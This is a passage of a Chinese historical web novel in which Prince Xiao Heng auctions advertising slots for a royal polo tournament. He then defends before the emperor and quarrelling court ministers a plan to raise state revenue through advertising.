“京都商贾云集,除却在场诸位,尚有其他各行各业的商家。”
“故而,为求公允,本王定于两日之后,在民生商号总店之内,举办一场广告位的专场拍卖会。”
“届时,所有的广告位,皆遵循价高者得之原则,一切过程公开透明,童叟无欺。”
“眼下能告知诸位的,便是此次可供竞拍的广告位种类。”
“其一,便是那二十三支参赛球队,诸位可选择其中任意一支进行赞助。”
“诸位若对某支球队格外看好,事后可直接前往马球协会接洽,进行报价登记。”
“赞助形式灵活,可独家赞助,亦可多家联合赞助。”
“更为详尽的赞助章程与权益,诸位可于会后前往马球协会详询,那里有比本王更为专业的人士,为诸位逐一解答明白。”
萧恒此言,甚至将那三支异族球队也囊括了进来,一并当作了吸引广告的筹码。
毕竟赛场是他的,规矩由他定,欲要参赛,便需遵从,否则大可退出。
自然,萧恒也并非锱铢必较、一毛不拔,该给予球队的分成利益,他还是会酌情分配一些。
终究他身为王爷,此次马球皇家杯赛事又由皇室牵头,若吃相过于难看,于长远发展颇为不利。
萧恒略作停顿,饮了口茶,继续言道:“除球队赞助之外,赛事球场之内,亦设置了十处广告位。”
“在此需提醒诸位,那偌大的球场,总共只设这十个名额。”
“一旦竞得,自赛事开启直至最终落幕,诸位商号的名号都将在场内最显眼之处长久展示。”
“无论观赛者身处场内何方,皆能一眼望见。”
“并且,每场赛事开赛之前与结束之后,都会有专门设置的主持人,高声宣唱诸位商号的名号,确保场中每一位观众,皆能清晰听闻。”
“至于这‘主持人’为何物……诸位可将其理解为,如同婚庆典礼上的傧相一般,专司主持各项仪式、宣告事宜之人。”
第79章:被**了
三日后,大梁第一届皇家杯广告位拍卖会于京都民生商号总店正式召开,并圆满落幕。
共计六十七个广告位,应邀前来的商贾人员达一千三百六十多人。
凡受邀参与本次广告位拍卖的商号,皆为年流水超过十万两白银的商户。
其中,年流水逾百万两的商号,有一百六十七家。
最终总成交价高达白银七十三万两,结果异常可观。
尤其是赛场内部的十个黄金广告位,以及球队队服上的赞助位,争夺尤为激烈。
“殿下,陛下有旨,命殿下即刻进宫。”
齐王府内,萧恒正美滋滋地抱着一沓厚厚的账本,亲自清点眼前一箱箱白银。
广告位拍卖所得,加上此前的罚款,总计接近百万两之巨。
京都之大,酒楼客栈数不胜数。
近半个月的时间家家爆满,房费飙升至平日数倍甚至数十倍。
而萧恒在此基础上,又施加了十倍的罚金。
如此大规模的处罚,收缴几十万两白银并不算多。
忽然,三福一路小跑进来,附在萧恒耳边低语。
神情焦急。
“嗯,知道了。”
萧恒颔首,面色平静无波,似乎早有预料。
自己短短数日的时间,从一众商户手中,获取了近百万两的白银。
此刻恐怕宫中**自己的折子,早已是如同十冬腊月的雪花一般,多的让人数不胜数了。
不过对此萧恒倒是丝毫不惧,毕竟自己敢这么做,自然早有了应对的手段。
萧恒面色淡然:“去告诉宫里传话的人,本王稍后便进宫。”
“殿下,这怕是不妥。”
三福低声回应,眼神向外一瞥:“这次来的是陛下身边的黄公公,看这阵势,殿下需立即动身。”
萧恒顺着三福的视线望去,只见一位上了年纪的老太监,身后跟着两名小太监,正朝他走来。
萧恒一眼认出,那是梁帝身边的贴身大太监——黄幸。
“老奴黄幸,参见齐王殿下。”
黄幸一张老脸笑得如菊花般绽开,向萧恒行礼。
萧恒手捧账本,打趣道:“看来本王此次罪过不小啊,父皇竟派黄公公亲自押解本王进宫。”
“哎呦喂,”黄幸献媚笑道:“我的齐王殿下,您就别打趣老奴了。”
“别说殿下您没罪,就算真有罪,也轮不到老奴来请您呀。”
说着,黄幸挥了挥手,身后两名小太监自觉退至远处。
黄幸这才走近萧恒,收起谄媚之色,低声严肃道:
“不过殿下,您这次闹出的动静确实不小,**的折子在御案上堆得快放不下了。”
“陛下为此颇为恼怒,这才命人传殿下入宫问话。”
“但老奴怕底下的人传话不清,误了事,便想着亲自跑这一趟,先给殿下透个风。”
“殿下心中有个准备,免得一会儿触怒皇爷。”
萧恒闻言,面色也严肃几分:“多谢黄公公,今日之情,本王记下了。”
阎王好惹,小鬼难缠。
别看黄幸只是一宫中的太监,但此人却是梁帝身边的贴身大太监。
从梁帝幼时,便跟在梁帝身边,现在又是皇宫太监的头头。
此人天天待在皇帝身边伺候着,若是谁让黄幸厌恶了,可能有时候一句不经意之间的话,便能让梁帝对一个人产生不一样的看法。
所以和此人的关系必须要打好,至少不能得罪,但也不过过于的讨好。
“殿下言重了。”
黄幸一脸诚恳:“老奴不过一个阉人,伺候了皇爷一辈子。”
“深知皇爷脾性,今日看似震怒,实则更多是关心殿下。”
“只是近日**殿下的官员实在太多,陛下总得做些表示,否则难以服众。”
“老奴也做不了什么大事,只能跑跑腿,尽些心意了。”
“黄公公有心了,”萧恒微微一笑,手中悄然多了一张银票:“有黄公公这般细心之人伺候陛下,我这做儿臣的,着实放心不少。”
“唉,”说着萧恒轻叹一声:“若按民间习俗,本王身为父皇之子,本该在身边尽孝,但可惜皇家终究是皇家,不比寻常百姓家。”
“以致本王无法常伴父皇左右。”
“这银票黄公公收好,伺候父皇之事,还望你多费心。
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“殿下这是做什么?”黄幸见状,面露惶恐,急忙推拒。
“殿下如此,老奴惶恐啊!今日前来,都是老奴分内之事,绝不敢图殿下恩赐。”
萧恒不容分说,将银票塞入黄幸手中,正色道:
“黄公公误会了,这并非恩赐。”
“本王方才说了,我等身为父皇儿臣,却不能常伴左右尽孝。”
“只能托付黄公公好生伺候父皇,也算尽一份孝心。”
“殿下言重了,伺候皇爷本就是老奴本分,自当尽心竭力,不敢有丝毫懈怠。”
黄幸拍着胸脯保证。
“黄公公的话,本王自然相信,但其他人呢?”萧恒轻笑:“父皇身边伺候的人不少,总有几个**手毛脚的,岂能人人都如黄公公这般细心?”
黄幸忙道:“殿下放心,伺候皇爷的人都是老奴亲自挑选,个个细心谨慎。”
——不细心的,多半早已不在人世。
萧恒摆摆手,继续说道:“父皇一生节俭,近来连我们这些皇子的月钱都缩减了。”
“想来宫中这些日子,也不好过吧?”
黄幸不敢直言,脸上却露出一丝苦涩。
宫中的日子确实艰难,尤其是底层的小太监和宫女。
原本月钱就微薄,如今国库吃紧,梁帝下令缩减后宫一切用度,底下人的日子更是紧巴巴。
底层没有油水,上头的人自然也捞不到什么了。
如今宫里,真是人人都不好过啊。
“所以这银票黄公公拿着,御下之道,不能只靠训斥,该赏的时候也得赏。”
“父皇向来节俭,恐怕难得赏赐身边人,你手头有些闲钱,时不时给底下人一点甜头。”
“他们得了好处,做事自然卖力,黄公公你也能省些心力,更专心地伺候父皇。”
“所以,收下吧,”萧恒轻轻拍了拍黄幸手中的银票。
黄幸闻言,面露感动:“殿下如此孝心,若皇爷知晓,定感欣慰。”
萧恒抬手拍了拍黄幸的手臂,神色无奈:
“罢了,父皇脾气难以捉摸,知道了反而不美,本王只需尽到为人子的本分就好。”
第80章:父皇,儿臣冤枉啊
“陛下,齐王殿下到了,”紫宸殿大太监黄幸躬身,低声向梁帝禀报。
梁帝正批阅着一本赈灾的奏折,闻言笔锋未停,只是将最后一笔落下后,才将折子随手丢在御案上,面色平静无波:“让那混账玩意滚进来。”
“何人惹得父皇这般动怒?”
萧恒快步走进紫宸殿,脸上堆满讨好的笑容:“告诉儿臣,儿臣这就去砍了那厮,好好为父皇出出气。”
萧恒上前一步,义愤填膺地说:“简直是反了天了,居然敢惹得父皇生气,简直是胆大包天罪该万死,着实该死。”
看着萧恒这拙劣的表演,梁帝额角隐隐现出几道细纹,脖颈处的青筋微微跳动。
梁帝沉默片刻,忽然抬手,指尖指向殿侧高悬的一柄宝剑。
那剑名为天子剑,乃圣祖皇帝佩剑。
圣祖皇帝驾崩后,此剑便被历代大梁皇帝悬挂于此。
此剑前后曾被三次赐给朝中大臣,代天子巡游大梁各城。
持剑者如大梁皇帝亲临,有先斩后奏之权,故而死在此剑之下的官员,不知几何。
梁帝手指未收,声音淡然:“惹怒朕的人叫萧恒,去吧,拿着天子剑,你去砍了那厮。”
萧恒闻言顿时缩了缩脖子,干巴巴地笑道:“父皇仁德爱民,这等宝剑过于锋利,出鞘有伤和气,不至于不至于。”
“砰”的一声。
梁帝一掌拍在御案上,表情严肃:“少给朕油嘴滑舌!”
梁帝指着案几一侧堆积如山的奏折:“你自己看看,这些都是这几日**你的折子。”
“堂堂皇室子弟,贵为王爷的身份,竟然如同市井商贾一般,大肆敛财,你可知罪?”
萧恒目光往那叠奏折瞟了一眼,心头暗惊:尼玛这么多?
“这还只是今天递进宫来的折子,”梁帝目光冷冷地看着萧恒:“你现在是越来越出息了,三天两头的被**,**你的官员还一次比一次多。”
“父皇,儿臣冤枉啊,”萧恒当即喊冤。
“你还好意思喊冤?”梁帝吹胡子瞪眼道:“难道那日公开收取商贾钱财的不是你?”
“父皇,儿臣真的冤枉啊,”萧恒表情委屈。
“儿臣从未忘记自己的身份,怎么可能会无辜做出有辱皇家颜面之事?”
“儿臣所做一切,都是想着为父皇分忧,为朝廷着想。”
萧恒往前膝行半步,继续辩解:“儿臣那日所做之事,不过是替父皇、替朝廷收取商贾广告费用罢了。”
“今日儿臣进宫面见父皇,已经将那日所收取的银两都带来了,这会就在殿外。”
“父皇若是不信,可立即下令让人抬进来查验。”
这时黄幸低声在梁帝耳边说道:“陛下,齐王殿下进宫时,确实命人运来了不少银两,奴才都亲自查验过了,整整三十万两白银,用了十三辆马车运输。”
“为此奴才还特意调了一队影刃司前往押运。”
“三十万两?”梁帝眉头一挑。
三十万两白银,整整十五吨之重,梁帝自然不会命人将其全部抬进紫宸殿。
只是淡然地看了一眼萧恒:“说清楚。”
萧恒脸上的委屈神色顿时一收,露出一丝喜色,开口说道:“关于马球赛事一事,乃是父皇您准许了的,甚至还拨了银子给儿臣。”
“那么此事从某种意义上来讲,便是由我大梁皇室举办的。”
“于是儿臣想了想,咱们可是花了银子的,总不能全程亏本赚吆喝吧?”
“这才想出了一个广告的招数。”
“儿臣召集了民间商贾商议,此举并非是单方面获利,而是一件互利互惠之事。”
“商贾虽花了一点银钱,但儿臣却要借助此次赛事,大力宣传他们的商号,让百姓知道他们的存在,增加他们在百姓心中的影响力,更好地售卖商号的商品。”
“而儿臣也可以用他们的钱,将赛事办得更好,更加彰显我大梁国威。”
说着,萧恒小声嘀咕了一句:“再者这不是也没辙嘛,太子那边将银子捂得比什么都重要,跟留着会下崽似的,儿臣若不想点招出来,真弄不利索啊。”
梁帝眯了眯眼:“如此,你在赛场之上弄你
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所谓的广告位,倒是说得过去,可你将京都的大街小巷全部立上杆子,也将其拍卖了出去,这是为何?”
萧恒表情认真起来:“父皇,这可是儿臣绞尽脑汁才想出来的招啊。”
“目的就一个:缓解我大梁的财政问题,为父皇分忧。”
“父皇每日因财政问题愁眉不已,儿臣每每看在眼里,是痛在心里啊,”萧恒面色认真。
梁帝单手轻轻敲击御案,眼中来了一丝兴致:“详细说来。”
“父皇先看看这个,”萧恒掏出一封折子递了上去。
“父皇一边看,儿臣一边为父皇解释。”
待梁帝接过折子,萧恒继续道:“父皇您想想,既然能在球场上打广告,为何就不能在街上打广告呢?”
“街上的人口来往可是很可观的。”
“关键的一点是,这些街道都是谁修建的?是朝廷啊,只要能说通那些商贾之辈,让他们愿意出钱打广告,这些钱便可由朝廷名正言顺地收取。”
说到这里,萧恒突然露出得意的神色:“父皇猜一猜,这一次从街道到球场,共计六十七个广告位,儿臣一共拍了多少钱?”
“多少?”梁帝表情不变,顺着萧恒的话问道。
其实萧恒所做的一切,梁帝早就知道得一清二楚了。
“七十二万两白银,”萧恒一脸得意地说道,脸上全是一副快夸夸我的表情。
梁帝看着萧恒这幅幼稚的模样,心中忍不住笑了笑,面上却异常平静:“然后呢?”
“然后呢?”萧恒表情惊讶地重复了一遍,激动地说:“父皇难道没发现,这里有一个巨大的商机……呃,不对,是增加国库银钱的方法吗?”
萧恒越说越激动:“我大梁地域辽阔,共计十八州,一百多个郡城,县一级更是近千。”
“而天下商贾何其多,如今单单京都一城之地,一次的广告位便获利白银七十多万两。”
“若是此法全国推广,父皇可否想过,每年能为我大梁带来多少的财政收入?”
萧恒此话未落,梁帝的表情便已彻底变了。
第81章:辩论
梁帝的呼吸陡然急促了几分,胸膛微微起伏,难以置信地瞪大了双眼。
目光如炬,紧紧锁在萧恒身上,仿佛要将萧恒从里到外的看个透彻。
“父皇?”萧恒见梁帝久未言语,不由得轻声唤了一句,声音里带着一丝不易察觉的试探。
梁帝猛地从御座上抬起头,胸膛依然微微起伏,对着殿外沉声喝道,声音带着不容置疑的威严。
“传旨!即刻宣太子,左右二相,六部尚书,御史大夫,大理寺卿入宫觐见。”
“诺!”殿外侍立的宦官不敢怠慢,立刻躬身领命,脚步声匆匆远去。
“且慢,”梁帝略一沉吟,又补充道,“将魏国公也一并唤来。”
萧恒站在下首,将梁帝这一系列反应尽收眼底,不由得轻轻耸了耸肩,嘴角勾起一抹了然的笑意。
看来老爷子这次是真的动心了,而且这心动得幅度,恐怕还不小。
约莫半炷香的功夫,太子萧琰便第一个步履匆匆地出现在了紫宸殿门前。
“儿臣参见父皇。”太子大步流星走入殿内,朝御座上的梁帝恭恭敬敬地行了一礼,举止从容,气度沉稳。
“看看吧,这是老九刚刚递上来的,”梁帝没有多言,直接将那本奏折递给了太子。
太子双手接过,快速浏览起来。
脸上的表情并无太大变化,只是眼神略微深沉了几分。
阅毕,太子抬起头,平静地说道:“父皇,此事九弟先前已与儿臣粗略提过。”
“哦?老九竟已同你通过气了?”梁帝略显诧异地瞥了站在一旁的萧恒一眼。
萧恒只是笑了笑,并未多言,神色间带着几分恰到好处的恭谨。
梁帝屈起手指,用指节在光洁的御案上不轻不重地敲了两下,目光转向太子,问道:“既然如此,你且说说你的看法。”
太子略作沉思,片刻后沉声回应:“九弟此策,构想颇为新颖,若能施行,于国或有裨益。”
“然则,具体推行下去,恐怕会面临不小的阻力。”
太子言语含蓄,但殿内之人都心知肚明,近日那如雪片般**萧恒的奏章,已然说明了许多问题。
“哼!”梁帝闻言,从鼻间发出一声冷哼,眉头不禁微微蹙起,殿内的气氛顿时显得有些凝重。
“陛下,各部尚书及诸位大人已到殿外候旨。”
因各司衙门分散,且各位主官并非皆在衙署当值,自梁帝下旨召见,至诸位重臣陆续抵达,时间已过去了近半个时辰。
一众身着绯色官袍的大臣鱼贯而入,见到萧恒竟也赫然在列,不少人脸上都掠过一丝难以掩饰的诧异。
这位齐王殿下,可不是这紫宸殿常朝上的熟面孔。
反观太子,倒是此间的常客,梁帝召集的这类小规模朝会,十次里有九次太子都在场,剩下那一次,怕是梁帝亲临东宫议事去了。
“臣等参见陛下,太子殿下,齐王殿下。”
众大臣按品秩站定,齐刷刷地向御座和两位皇子行礼。
太子微微拱手还了半礼,萧恒亦依样画瓢,举止还算得体。
萧恒趁此机会,目光悄然扫过殿内诸公。
眼前这十余人,无一不是大梁朝堂上举足轻重的人物,最年轻的一位,看上去也已是四十岁往上的年纪。
更多的则是两鬓斑白,甚至有位老臣须发皆已银白如雪,身躯都有些佝偻了。
不过这也实属正常。
能站在这紫宸殿内的,无一不是历经官场沉浮,从九品十八级的最底层,一步步攀上这权力金字塔顶端的人物。
数十年的宦海生涯,能最终屹立不倒者,自然多是年高德劭之辈。
然而,千万别因几位老臣须发皆白、腰背微弯便小觑了他们。
那一双双眼睛,此刻依旧是精光内蕴,炯炯有神,目光扫过之处,仿佛能瞬间洞察人心。
待众人行礼完毕,魏国公率先洪声开口,声若洪钟。
“陛下急召臣等入宫,莫非是北边那些蛮子又皮痒了,开始不安分了?”
“若果真如此,老臣愿再披战甲,亲自领兵,直捣黄龙!”
“此番若不将那帮不知天高地厚的北漠崽子揍得哭爹喊娘,老臣绝不回朝。”
梁帝有些无奈地看了一眼魏国公。
自己这位私下里的老哥哥,哪哪都好,就是这脾气,几十年如一日,三句话不离出兵北伐,恨不得将北方异族连根拔起。
每次进宫面圣,说不了十句话,准会冒出一句要去北边活动活动筋”,宰几个北漠崽子解解闷。
看着魏国公那满是期待、跃跃欲试的神情,梁帝摆了摆手:“此次召见诸位爱卿,与外患无关。”
魏国公眼底那簇好战的火苗瞬间黯淡下去,脸上掠过明显的失望,咂了咂嘴,不再多言。
既然无仗可打,无敌可揍,尤其还是他最惦记的北漠蛮子,那他魏国公对其他事情,可就提不起多大兴致了。
“不知陛下召见臣等,所为何事?”左相崔文渊上前一步,沉声询问道,语气平稳持重。
“众爱卿先将这份奏折传阅一番,之后再行议处。”
梁帝从御案上拿起那本引发波澜的奏折,贴身内侍黄幸连忙上前,双手接过,然后绕过御案,再次递给了太子。
太子沉默地接过,快速重新翻阅了一遍,随即递给了身旁的左相崔文渊。
左相神色凝重地接过奏折,初时还以为是何处又遭了天灾,以致陛下急召众人商议赈济事宜。
然而,当他目光扫过奏折内容,眉头瞬间紧紧锁住,形成了一个深刻的“川”字。
他下意识地抬头,先深深看了萧恒一眼,继而又望向御座上的梁帝,眼神中充满了探究与深思。
随后,他将奏折递给了身旁的右相吴文耀。
右相吴文耀接过奏折,仔细观瞧,眉头也同样皱了起来,反应与左相如出一辙,先是瞥向萧恒,随即目光也落回了梁帝身上,试图从皇帝的表情中读出些许端倪。
但梁帝始终面容平静,无喜无怒,让人看不出丝毫情绪。
奏折在众臣手中依次传递,殿内只剩下纸张翻动的细微声响,以及愈发凝重的气氛。
魏国公是最后一个看的。
他看完之后,脸上满是毫不掩饰的惊诧,不由得再次抬眼打量了一下萧恒。
捏着奏折,随即瞟了一眼太子,见太子不动声
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色地微微颔首,魏国公这才像是确认了什么,双手捧着奏折,大步走到御案前,将其奉还。
黄幸再次上前,恭敬接过,放回御案,然后悄无声息地退回到梁帝身侧侍立。
“众爱卿对此策,有何看法?”梁帝目光沉静,缓缓扫过殿内每一位重臣,开口问道,声音在空旷的大殿中回荡。
一众大臣相互交换着眼色,一时无人率先开口。
片刻的沉寂后,右相吴文耀终是率先出列。
“陛下,臣以为,此事大为不妥!”
吴文耀声音清朗,语气坚定,“其一,商贾本是末流,身份低微。”
“朝廷若推行此等举措,无异于自降身份,与商贾为伍,实在有损朝廷威严体统。”
吴文耀顿了顿,继续陈述第二条理由:“其二,此举于礼不合,更属与民争利之嫌。”
“若强行推行,恐怕会遭致天下读书人群起非议,有损圣德,动摇国本。”
右相吴文耀一番话,说得义正辞严,引经据典,占尽了道德高地。
“敢问右相大人,”萧恒几乎在吴文耀话音落下的瞬间,便毫不犹豫地出声反驳,声音清晰而平稳。
“此举如何就成了与民争利?依本王之见,这分明是互惠互利之举。”
萧恒向前微踏半步,目光直视吴文耀。
“朝廷不过是利用一些闲置无用的资源,譬如官道旁的荒地、城墙墙面,或是官报的边角余料,为商贾宣传其货品。”
“商贾则依据宣传效果,自愿支付相应的费用,以此充实国库。”
“此乃各取所需,公平交易,何来与民争利一说?”
“更何况,”萧恒强调道:“此事自始至终都秉持双方自愿的原则,朝廷绝无强买强卖之意,又何来损害朝廷威严之说?”
吴文耀眉头紧锁,显然并不认同萧恒的辩解,坚持己见道。
“纵然齐王殿下巧言令色,臣依然认为此举不妥。”
“朝廷威严重于泰山,岂可因些许银钱而轻损?此事若行,必遭物议,还望陛下三思!”
“臣附议右相所言!”
“陛下,右相大人所言极是!此例一开,后患无穷啊。”
吴文耀话音刚落,立刻便有另外两名官员出列附和,你一言我一语,引述圣贤之言,大谈特谈朝廷体统与教化之本。
张口闭口便是与民争利,却刻意回避了有损威严的具体所指,最后还不忘指桑骂槐地,将萧恒近日的不安分又**了一番。
萧恒听着这些老生常谈,心中不免腹诽,面上却只是不以为然地翻了翻白眼,懒得与他们在这些空洞的道理上多做纠缠。
待那几位大臣话音稍落,萧恒再度开口,这一次,他抛出了一个更具冲击力的事实。
“诸位大人或许尚不知情,本王提出的这广告招商之策,日前已在京都范围内进行了试点。”
萧恒环视众人,缓缓说道,刻意在最后加重了语气。
“仅是此番试点,拍卖京都各处广告位所得,除去所有必要成本、开支,以及预留后续运营的款项,初步核算,净利已有三十万两白银,并且,这笔款项目前已押运至宫内府库。”
第82章:形同虚设的商税
“嘶——!”
殿内顿时响起一阵细微却清晰的吸气声,仿佛一阵冷风突然穿堂而过。
一众老臣声音里夹杂着难以置信的震惊,以及一丝不易察觉的,对萧何此话的质疑。
须知三十万两白银,这可并非是一个小数目。
萧恒将众人脸上细微的惊容,眼底闪烁的疑虑尽收眼底。
唇角微不可察地一勾,继续不紧不慢地分析道,声音沉稳,带着一种不容置疑的笃定。
“当然,诸位大臣需知,此次京都试点能取得如此成效,很大程度上是借了皇家杯首届赛事即将举办的东风。”
“正因如此,四方客商云集京师,人流如织,钱财如流水,才共同造就了此番拍卖的盛况。”
萧恒话锋在此巧妙地一转,语气变得更为客观而务实。
冲淡了方才带来的冲击感:“因此,其他州县若欲效仿推行此法,其效果短期内自然难以与京都这人杰地灵、风云汇聚之地相提并论。”
“然而,”萧恒刻意顿了顿,目光扫过一众大臣。
加重了语气:“若能于全国各主要州县,择其繁华要冲之地,逐步、有序地铺开此策。”
“最终积少成多,细水长流之下……”
“依本王最为保守之估计,每年为国库稳定增添数百万两白银的进项,应当不成问题。”
“嘶——!”
此话一出,殿内再次响起一片抽气之声,比之前那次更为响亮,也更为急促。
仿佛冰冷的空气瞬间被抽空,带来了短暂的窒息感。
众人脸上方才的震惊尚未完全褪去,此刻又叠加了一层更深的骇然,他们不由自主地微微睁大了眼睛。
露出不可思议的神情,相互间交换着惊疑不定的眼神,殿内响起一阵压抑的窸窣的低语。
“陛下,老臣认为此策可行!”
魏国公此时看了太子一眼,忽然踏前一步,声音洪亮,打破了短暂的嘈杂。
拱手道:“此策正如齐王殿下所言,实乃朝廷与商贾之间互惠互利之举。”
“此举一石三鸟,既能立竿见影地为朝廷每年多增数百万两的银钱,充盈国库。”
“又能切实有效地提高参与商贾,商号的知名度与声望,助其开拓市场。”
“而更重要的是,”魏国公微微提高了音调,目光扫过几位同僚。
“只要商号知名度起来了,生意自然红火,规模随之扩大。”
“那么每年按规定上交朝廷的商税,水涨船高,必然越多,此良性循环之策,老臣认为,大为可行。”
大梁虽表面轻贱商贾,视为末流,但朝廷律法明文规定,商贾经营需缴纳商税,只是这税率定得极低。
不说是形同虚设,但也大差不差了。
更甚者,许多商贾,尤其是那些背后有世家大族、朝中显贵撑腰的存在,连这每年本就低微的商税也在想方设法的逃避。
他们采用各种或明或暗的手段进行避税、**。
而敢于如此行事之人,其背后往往都矗立着盘根错节的庞大势力。
族中有人在朝为官,且位居要职,自身家族在地方上又是历经数代、根深蒂固的世族大家,在本地堪称土皇帝般的存在。
这便导致,大梁每年虽有对商税进行征收,结果却年年不尽如人意。
因此在大梁每年的各项赋税收入当中,商税所占的比例,实在是微不足道。
真正支撑着大梁财政运转、维系帝国命脉的,依旧是那压在最底层农民肩上的农税。
那些面朝黄土背朝天的百姓,每年都背负着极其高昂的赋税压力,苦苦支撑。
所以此刻,当魏国公掷地有声地再度提及商税一词时。
龙椅之上的梁帝,表面虽只是微微颔首,以示聆听,实则内心深处,早已是怒意翻涌,如岩浆暗流。
梁帝眼神看似淡然,实则锐利如鹰隼,不着痕迹地从御阶下站立着的数位官员身上逐一扫过。
那其中有数人,他们背后的家族,无不是经营着一张张规模庞大、关系错综复杂的商业网络,每年财富不知几何。
然而,这些人,身为家族之主。
虽身居庙堂高位,手握重权,但他们族中所掌控的那些庞大商号,每年向朝廷贡献的商税,却是少得可怜,与其庞大的利润完全不成比例。
这与梁帝暗中派遣心腹密探所调查获悉的实际经营情况,严重不符,差
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距如同天渊。
不过可惜,世家势力盘根错节,牵一发而动全身。
这并非大梁一朝面临的问题,而是历朝历代都是这般。
皇室与各大世家之间,既是亲密无间的合作关系,又是彼此防备的敌对关系。
梁帝对此即便心知肚明,即便有心想要大力整顿此事,但很多时候却也是深感有心无力。
只能暂且隐忍,睁一只眼闭一只眼,只要对方行事不至于太过火,不至于将朝廷法度彻底践踏于脚下,基本都是选择不过分深究。
唯有在对方做得实在过分,令他这个皇帝都感觉颜面受损、忍无可忍之时,才会寻机稍作敲打,以示警醒。
双方维持着这表面上的君臣和谐,保持着彼此那脆弱而微妙的体面。
能在此时立于这紫宸殿上的人,哪一个不是历经宦海沉浮、洞察世事的人精?
梁帝那看似平静无波的眼神里所蕴含的深意,那一闪而过的冷冽,他们早已心领神会。
但那几位被目光重点关照的官员,却仿佛浑然未觉,依旧是一副老神在在泰然自若的模样。
稳稳地站在自己的位置上,眼观鼻,鼻观心,脸上表情丝毫不变,如同古井深潭,波澜不兴。
官场自有其运行的江湖道义,只要表面文章做得漂亮,一切手续合理合规。
没有被当场抓个现行,拿住无可辩驳的铁证,那么,一切指控便都是子虚乌有。
你是九五之尊的皇帝又如何?
咱们做事,向来讲究证据。
更何况,若真有人不识时务,意图打破这默契的平衡,贸然触碰世家的根本利益底线。
那么……!
底蕴深厚的世家大族联合起来,其力量足以撼动山河。
届时,换个懂得顺应时势的皇朝来坐这天下,也并非不是不可能之事。
古语早有明训:铁打的世家,流水的皇朝。
百年的皇朝或许气数易尽,千年的世家却自有其存续之道。
普天之下,莫非王土?
话虽如此,然分散于各地,实际治理着这广袤国土。
维系着地方运转的,还不是他们这些世代簪缨、门生故吏遍布天下的世家之人?
第83章:看大戏
“臣反对!”
“臣赞同!”
一众大臣,有人反对,有人赞同。
亦有人沉默不语,既不出言反对,也不附议赞同,保持中立。
殿中这十多位核心大臣,一部分以右相吴文耀马首是瞻,坚持持反对意见。
这些人背后,皆是各自族中掌控着遍布大梁的各大顶尖商号的存在。
这些商号的触角早已遍及大梁疆域的每一个角落,甚至远播周边诸国,势力盘根错节,根基深厚。
因此,相较于大梁境内其他商贾,他们本就占据着绝对的垄断优势,稳坐头把交椅。
即便没有所谓的广告之法为其宣传造势,他们也自信能牢牢把控市场,无人能够撼动。
反而齐王此刻推行的这个新法,无异于打开了一道口子,给了那些原本不成气候的小商小贩一个借势翻身、挑战他们权威的机会。
这分明是在动摇他们的根本利益,故而他们一个个引经据典,张口闭口皆是冠冕堂皇的反对之理,字字句句都试图将新法扼杀于萌芽。
另一部分,则是如魏国公苏逸尘这般,死忠于梁帝的勋贵老臣。
他们敏锐地察觉到梁帝眼神中流露出的推行之意,几乎未曾犹豫,便立刻出声,鼎力支持。
顷刻之间,反对者与支持者便在这大殿上展开了激烈的交锋,言辞犀利,各执一词,互不相让。
萧恒默不作声地侍立在太子身后,冷眼旁观,心中却暗暗咂舌。
不是说身居高位者最重身份体统,讲究泰山崩于前而色不变吗?
理当各有雅量,维持表面和气才对啊。
可眼前这番景象,哪还有半分体统可言?
一群平日里道貌岸然的老臣,此刻竟如同市井争执一般,唾沫横飞,对喷得面红耳赤。
言语之间虽未直接辱及对方先祖,但那含沙射影的替代之词,其杀伤力却丝毫不减,反而更显阴损。
还有寥寥数人,则是真正的中立派。
他们族中产业多以土地为主,是真正鄙夷商贾之道的清流。
准确的说是守旧,迂腐。
对于萧恒提出的这等涉及商贾的奇巧之计,他们内心自是嗤之以鼻。
但此刻只要稍有点眼力见儿,都能看出梁帝对此策颇有兴趣。
他们自然不会愚蠢到在此时去触犯天威,引火烧身。
于是索性三缄其口,全程保持沉默,只在一旁作壁上观,欣赏这番难得一见的龙争虎斗。
“砰砰……!”
御座之上,梁帝被这喧嚣吵得心烦意乱,屈起指节,用力敲了敲光润的金丝楠木御案。
“行了!行了!”梁帝面露不悦,声音中带着不容置疑的威严,“成何体统。”
“睁大眼睛看看,此地乃是何处?尔等又皆是何等身份?看看你们自己现在的模样,与那街头吵嚷的莽夫何异?”
“若传扬出去,我大梁朝臣的颜面,都要被你们丢尽了!”
如同沸水被瞬间抽离了柴火,殿内的争论声戛然而止。
魏国公苏逸尘率先朝梁帝躬身一礼,随即转头瞪向右侧的吴文耀。
洪声道:“陛下明鉴,皆是此人满口歪理,混淆视听。”
“齐王此策,明眼人皆可见其利国利民之效,偏偏他要跳出来横加阻拦。”
吴文耀闻言,当即冷哼一声,面色肃然:“陛下,我大梁立国之本在于农事。”
“此策大张旗鼓,无异于昭告天下,朝廷欲要抬举商贾贱业。”
“若天下百姓皆作此想,弃农从商,那万顷良田由谁来耕种。”
“我大梁万千子民的口粮从何而来?难道都去追逐那锱铢之利吗?”
吴文耀越说越是激动,胸口微微起伏。
“放屁,姓吴的,你说这等话,自己就不觉得亏心吗?”
魏国公苏逸尘毫不客气,投去一个极其鄙夷的眼神,嗤笑道:
“谁不知道你吴家名下商号早已遍布大梁,甚至连异族诸国都有你吴家的旗号在经营。”
“你这头靠着商贾之道赚得盆满钵满,富可敌国,转过头来却告诉陛下,你担心百姓都去经商,荒废土地?”
魏国公猛地一挥宽大的衣袖,动作带着武将特有的粗犷。
“怎么?你是怕那些小门小户的行商之人,抢了你吴家碗里的肥肉,动了你的根本吧?”
“老夫活了这大半辈子,披甲执锐,见过的无耻之徒也不算少,但如你这般既当**又立牌坊的,还真是头一回见识得如此真切。”
“你……你……苏逸尘!你……”
吴文耀被魏国公这一番毫无文人遮拦的抢白,气得脸颊瞬间涨红如血。
抬手指着魏国公,手臂连带身躯都控制不住地哆嗦起来,半晌接不上一句完整的话。
“我?我我,我怎么了?”
“说不过,就想动手练练不成?”
魏国公满脸皆是不加掩饰的不屑,说话间竟真的将朝服袖子往上撸了撸,露出半截坚实的小臂,摆出一副随时奉陪的架势。
“苏逸尘,你休要在此信口雌黄,血口喷人,以小人之心度君子之腹。”
吴文耀总算是顺过一口气,气急败坏地喝道,声音都因极致的愤怒而有些走调。
“我吴家乃是
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书香传世、诗礼簪缨的百年大族。”
“族中经商事宜,向来皆由旁支远亲操持,不过是为维持家族用度,供养族中子弟读书进取而已。”
“直系子弟,从未有一人亲自沾染铜臭商贾之事,皆以寒窗苦读,考取功名,报效朝廷为毕生己任,此心天地可鉴。”
“呦呦呦……听听,多伟大啊!”
